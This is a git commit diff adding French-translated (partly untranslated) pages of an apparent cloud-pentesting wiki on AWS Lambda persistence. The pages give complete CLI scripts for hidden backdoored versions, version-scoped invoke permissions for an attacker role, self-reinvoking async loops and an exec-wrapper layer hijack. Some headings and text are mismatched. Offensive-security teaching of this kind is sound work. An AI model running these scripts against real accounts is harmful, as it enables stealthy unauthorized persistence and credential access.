Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-10-06 23:06:45 +00:00
parent 47a26e783b
commit f1dbf78561
13 changed files with 899 additions and 84 deletions

View File

@@ -1,4 +1,4 @@
# AWS - Lambda Persistence
# AWS - Lambda Persistance
{{#include ../../../../banners/hacktricks-training.md}}
@@ -10,55 +10,82 @@ Pour plus d'informations, consultez :
../../aws-services/aws-lambda-enum.md
{{#endref}}
### Persistence de la couche Lambda
### Lambda Layer Persistance
Il est possible d'**introduire/installer une porte dérobée dans une couche pour exécuter du code arbitraire** lorsque la lambda est exécutée de manière discrète :
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
### Persistence de l'extension Lambda
### Lambda Extension Persistance
En abusant des couches Lambda, il est également possible d'abuser des extensions et de persister dans la lambda, mais aussi de voler et de modifier des requêtes.
En abusant des Lambda Layers, il est également possible d'abuser des extensions et de persister dans la lambda tout en volant et modifiant les requêtes.
{{#ref}}
aws-abusing-lambda-extensions.md
{{#endref}}
### Via les politiques de ressources
### Via resource policies
Il est possible d'accorder l'accès à différentes actions lambda (comme invoquer ou mettre à jour le code) à des comptes externes :
Il est possible d'accorder l'accès à différentes actions lambda (such as invoke or update code) à des comptes externes :
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Versions, Alias & Poids
### Versions, Aliases & Weights
Une Lambda peut avoir **différentes versions** (avec un code différent pour chaque version).\
Ensuite, vous pouvez créer **différents alias avec différentes versions** de la lambda et définir des poids différents pour chacun.\
De cette manière, un attaquant pourrait créer une **version 1 avec porte dérobée** et une **version 2 avec uniquement le code légitime** et **n'exécuter que la version 1 dans 1%** des requêtes pour rester discret.
A Lambda can have **different versions** (with different code each version).\
Ensuite, vous pouvez créer **différents aliases avec différentes versions** de la lambda et attribuer des weights différents à chacun.\
De cette façon un attaquant pourrait créer une **backdoored version 1** et une **version 2 with only the legit code** et **n'exécuter la version 1 que dans 1%** des requêtes pour rester furtif.
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### Porte dérobée de version + API Gateway
### Version Backdoor + API Gateway
1. Copier le code original de la Lambda
2. **Créer une nouvelle version avec porte dérobée** du code original (ou juste avec du code malveillant). Publier et **déployer cette version** sur $LATEST
1. Appeler la passerelle API liée à la lambda pour exécuter le code
3. **Créer une nouvelle version avec le code original**, Publier et déployer cette **version** sur $LATEST.
1. Cela cachera le code avec porte dérobée dans une version précédente
4. Aller à la passerelle API et **créer une nouvelle méthode POST** (ou choisir toute autre méthode) qui exécutera la version avec porte dérobée de la lambda : `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Notez le final :1 de l'arn **indiquant la version de la fonction** (la version 1 sera celle avec porte dérobée dans ce scénario).
5. Sélectionnez la méthode POST créée et dans Actions, sélectionnez **`Déployer l'API`**
6. Maintenant, lorsque vous **appelez la fonction via POST, votre porte dérobée** sera invoquée
1. Copy the original code of the Lambda
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
1. Call the API gateway related to the lambda to execute the code
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1. This will hide the backdoored code in a previous version
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
5. Select the POST method created and in Actions select **`Deploy API`**
6. Now, when you **call the function via POST your Backdoor** will be invoked
### Cron/Actionneur d'événements
### Cron/Event actuator
Le fait que vous puissiez faire **exécuter des fonctions lambda lorsque quelque chose se produit ou lorsque du temps passe** rend lambda un moyen agréable et courant d'obtenir une persistance et d'éviter la détection.\
Voici quelques idées pour rendre votre **présence dans AWS plus discrète en créant des lambdas**.
Le fait que vous puissiez faire **exécuter des fonctions lambda lorsqu'un événement survient ou quand un certain temps s'écoule** fait des lambda un moyen fréquent et efficace d'obtenir de la persistance et d'éviter la détection.\
Voici quelques idées pour rendre votre **présence dans AWS plus furtive en créant des lambdas**.
- Every time a new user is created lambda generates a new user key and send it to the attacker.
- Every time a new role is created lambda gives assume role permissions to compromised users.
- Every time new cloudtrail logs are generated, delete/alter them
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
Abusez la variable d'environnement `AWS_LAMBDA_EXEC_WRAPPER` pour exécuter un script wrapper contrôlé par l'attaquant avant que le runtime/handler ne démarre. Fournissez le wrapper via un Lambda Layer à `/opt/bin/htwrap`, définissez `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, puis invoquez la fonction. Le wrapper s'exécute dans le processus runtime de la fonction, hérite du role d'exécution de la fonction, et finit par `exec` le runtime réel afin que le handler original s'exécute normalement.
{{#ref}}
aws-lambda-exec-wrapper-persistence.md
{{#endref}}
### AWS - Lambda Function URL Public Exposure
Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
{{#ref}}
aws-lambda-async-self-loop-persistence.md
{{#endref}}
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
Créez une version cachée de la Lambda contenant la logique de l'attaquant et scopez une resource-based policy à cette version spécifique (ou alias) en utilisant le paramètre `--qualifier` dans `lambda add-permission`. Accordez seulement `lambda:InvokeFunction` sur `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` à un principal attaquant. Les invocations normales via le nom de la fonction ou l'alias principal restent inchangées, tandis que l'attaquant peut invoquer directement l'ARN de la version backdoored.
Ceci est plus furtif que d'exposer une Function URL et ne change pas l'alias de trafic principal.
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
{{#endref}}
- Chaque fois qu'un nouvel utilisateur est créé, la lambda génère une nouvelle clé utilisateur et l'envoie à l'attaquant.
- Chaque fois qu'un nouveau rôle est créé, la lambda accorde des permissions d'assumer le rôle aux utilisateurs compromis.
- Chaque fois que de nouveaux journaux cloudtrail sont générés, les supprimer/les modifier
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,88 @@
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
{{#include ../../../../banners/hacktricks-training.md}}
## Résumé
Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
Ceci est plus discret que d'exposer un Function URL et ne change pas l'alias principal de trafic.
## Permissions requises (attaquant)
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
- `lambda:AddPermission` (to add version-scoped resource policy)
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
## Étapes d'attaque (CLI)
<details>
<summary>Publier une version cachée, ajouter une permission limitée par qualifier, invoquer en tant qu'attaquant</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
# 1) Build a small backdoor handler and publish as a new version
cat > bdoor.py <<PY
import json, os, boto3
def lambda_handler(e, c):
ident = boto3.client(sts).get_caller_identity()
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
PY
zip bdoor.zip bdoor.py
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
echo "Published version: $VER ($VER_ARN)"
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
ATTACK_ROLE_NAME=ht-version-invoker
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
cat > /tmp/invoke-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["lambda:InvokeFunction"],
"Resource": ["$VER_ARN"]
}]
}
POL
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
# Add resource-based policy scoped to the version (Qualifier)
aws lambda add-permission \
--function-name "$TARGET_FN" \
--qualifier "$VER" \
--statement-id ht-version-backdoor \
--action lambda:InvokeFunction \
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
--region $REGION
# 3) Assume the attacker role and invoke only the qualified version
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
cat /tmp/ver-out.json
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
```
</details>
## Impact
- Fournit une backdoor discrète permettant d'invoquer une version cachée de la fonction sans modifier l'alias principal ni exposer une Function URL.
- Limite l'exposition à la seule version/alias spécifiée via la resource-based policy `Qualifier`, réduisant la surface de détection tout en conservant une invocation fiable pour l'attacker principal.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,92 @@
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
Abusez des Destinations asynchrones de Lambda conjointement avec la configuration Recursion pour faire en sorte qu'une function se ré-invoque continuellement sans ordonnanceur externe (pas d'EventBridge, cron, etc.). Par défaut, Lambda termine les boucles récursives, mais définir la recursion config sur Allow les réactive. Les Destinations livrent côté service pour les async invokes, donc un seul invoke initial crée un canal discret de heartbeat/backdoor sans code. En option, bridez avec reserved concurrency pour garder le bruit faible.
Notes
- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
- Minimum permissions: ability to read/update the target functions event invoke config and recursion config, publish a version and manage an alias, and update the functions execution role policy to allow lambda:InvokeFunction on the alias.
## Requirements
- Région: us-east-1
- Vars:
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
## Steps
1) Obtenir l'ARN de la function et le paramètre Recursion actuel
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) Publier une version et créer/mettre à jour un alias (utilisé comme destination vers lui-même)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) Autoriser le rôle d'exécution de la fonction à invoquer l'alias (requis par Lambda Destinations→Lambda)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) Configurer l'async destination vers l'alias (self via alias) et désactiver les retries
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION
# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
```
5) Autoriser les boucles récursives
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) Amorcer une seule invocation asynchrone
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
7) Observer des invocations continues (exemples)
```
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) Bridage furtif optionnel
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## Nettoyage
Interrompre la boucle et supprimer la persistance.
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## Impact
- Un seul async invoke entraîne Lambda à se réinvoquer continuellement sans ordonnanceur externe, permettant une persistance discrète/heartbeat. Reserved concurrency peut limiter le bruit à une seule warm execution.

View File

@@ -0,0 +1,94 @@
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
{{#include ../../../../banners/hacktricks-training.md}}
## Résumé
Abusez de la variable d'environnement `AWS_LAMBDA_EXEC_WRAPPER` pour exécuter un script wrapper contrôlé par l'attaquant avant que le runtime/handler ne démarre. Déployez le wrapper via un Lambda Layer à `/opt/bin/htwrap`, définissez `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, puis invoquez la fonction. Le wrapper s'exécute dans le processus runtime de la fonction, hérite du rôle d'exécution de la fonction, et finit par `exec` le runtime réel afin que le handler d'origine s'exécute normalement.
> [!WARNING]
> Cette technique donne une exécution de code dans la Lambda cible sans modifier son code source ni son rôle et sans nécessiter `iam:PassRole`. Vous avez seulement besoin de la capacité à mettre à jour la configuration de la fonction et à publier/attacher un layer.
## Permissions requises (attaquant)
- `lambda:UpdateFunctionConfiguration`
- `lambda:GetFunctionConfiguration`
- `lambda:InvokeFunction` (ou déclencher via un événement existant)
- `lambda:ListFunctions`, `lambda:ListLayers`
- `lambda:PublishLayerVersion` (même compte) et éventuellement `lambda:AddLayerVersionPermission` si vous utilisez un layer cross-account/public
## Wrapper Script
Placez le wrapper à `/opt/bin/htwrap` dans le layer. Il peut exécuter de la logique pré-handler et doit se terminer par `exec "$@"` pour chaîner vers le runtime réel.
```bash
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
```
## Étapes d'attaque (CLI)
<details>
<summary>Publier la layer, l'attacher à la fonction cible, définir le wrapper, invoquer</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# 1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin
cat > layer/bin/htwrap <<'WRAP'
#!/bin/bash
set -euo pipefail
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
PY
exec "$@"
WRAP
chmod +x layer/bin/htwrap
(zip -qr htwrap-layer.zip layer)
# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")
echo "$LAYER_ARN"
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"
# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
# 4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
```
</details>
## Impact
- Exécution de code pré-handler dans le contexte d'exécution Lambda en utilisant le rôle d'exécution existant de la fonction.
- Aucun changement du code de la fonction ou du rôle requis ; fonctionne sur les runtimes managés courants (Python, Node.js, Java, .NET).
- Permet la persistance, l'accès aux identifiants (p. ex., STS), l'exfiltration de données et la manipulation du runtime avant l'exécution du handler.
{{#include ../../../../banners/hacktricks-training.md}}